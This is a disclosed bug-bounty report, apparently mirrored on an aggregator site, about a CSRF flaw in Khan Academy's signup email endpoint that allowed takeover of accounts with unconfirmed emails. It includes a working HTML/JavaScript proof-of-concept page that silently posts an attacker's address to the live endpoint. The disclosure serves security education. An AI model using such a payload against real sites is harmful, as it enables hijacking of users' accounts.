Skip to content
CSRF Disclosed report Beginner

Cross-Site Request Forgery (CSRF) vulnerability on API endpoint allows account takeovers

The signup email endpoint let a logged-in user change their account email without checking that the request came from the user, so it lacked CSRF protection. An attacker could point a victim's unconfirmed account at an address they control and then reset the password to take it over.

rlaneth Follow

Originally disclosed on HackerOne

  • Disclosed after 9 months

Summary

The /signup/email API endpoint at khanacademy.org is vulnerable to Cross-Site Request Forgery (CSRF) attacks, allowing takeovers of accounts associated with unconfirmed email addresses.

Description

The vulnerable endpoint allows an authenticated user to change the email address associated with their account if they have not yet confirmed the current address. However, it does not sufficiently verify that requests were intentionally performed by the user (e.g. by checking the values of HTTP headers and using an anti-CSRF token).

Proof-of-Concept (PoC)

This is the code used for the demonstration video attached to this report (ka-signup-email-csrf.mp4).

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <title>Khan Academy Signup Email CSRF PoC</title>
        <style type="text/css">
        body {
            display:flex;
            flex-direction:column;
            justify-content:center;
            min-height:100vh;
            margin:0;
        }
        p {
            display:flex;
            align-self:center;
            font-size:0.8rem;
            font-family:sans-serif;
            font-weight:bold;
            text-transform:uppercase;
            letter-spacing:0.1rem;
        }
        </style>
    </head>
    <body>
        <p>Khan Academy Signup Email CSRF PoC</p>
        <script type="text/javascript">
            window.addEventListener('load', function(e) {
                var attacker_addr = '[email protected]';
                var x = new XMLHttpRequest();
                x.open('POST', 'https://www.khanacademy.org/signup/email', true);
                x.withCredentials = true;
                x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
                x.send('email=' + encodeURIComponent(attacker_addr));
            }, false);
        </script>
    </body>
</html>

Impact

An attacker can exploit this vulnerability in order to take over accounts by associating them with an address controlled by the attacker, then performing a password reset. In order for the attack to be successful, the target user account must be associated with an unconfirmed email address, and the target user must visit an attacker-controlled website while logged in.

The original report as published on HackerOne, by rlaneth. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

An attacker could take over accounts, but only if the account has an unconfirmed email address and the victim visits the attacker's site while logged in.

What the attacker needed

Victim logged in; account email is unconfirmed; victim visits attacker page

How it was found

  1. The attacker hosts a page that, when loaded, sends a request to the signup email endpoint with the attacker's address.
  2. The logged-in victim visits that page, and the browser sends the request with the victim's session.
  3. The victim's unconfirmed account email is changed to the attacker's address.
  4. The attacker performs a password reset to take over the account.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you are logged in, your browser automatically sends your session cookie with requests to that site. A CSRF attack is a page on another site that quietly makes your browser send a request you never intended. Here the request changes the account email, so the attacker can then use the password reset to get in.

What is CSRF?

Another site makes a signed-in user's browser perform an action they did not intend.

More from Khan Academy

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site request forgery (CSRF)

The lesson behind this report.

Another site makes a signed-in user's browser perform an action they did not intend.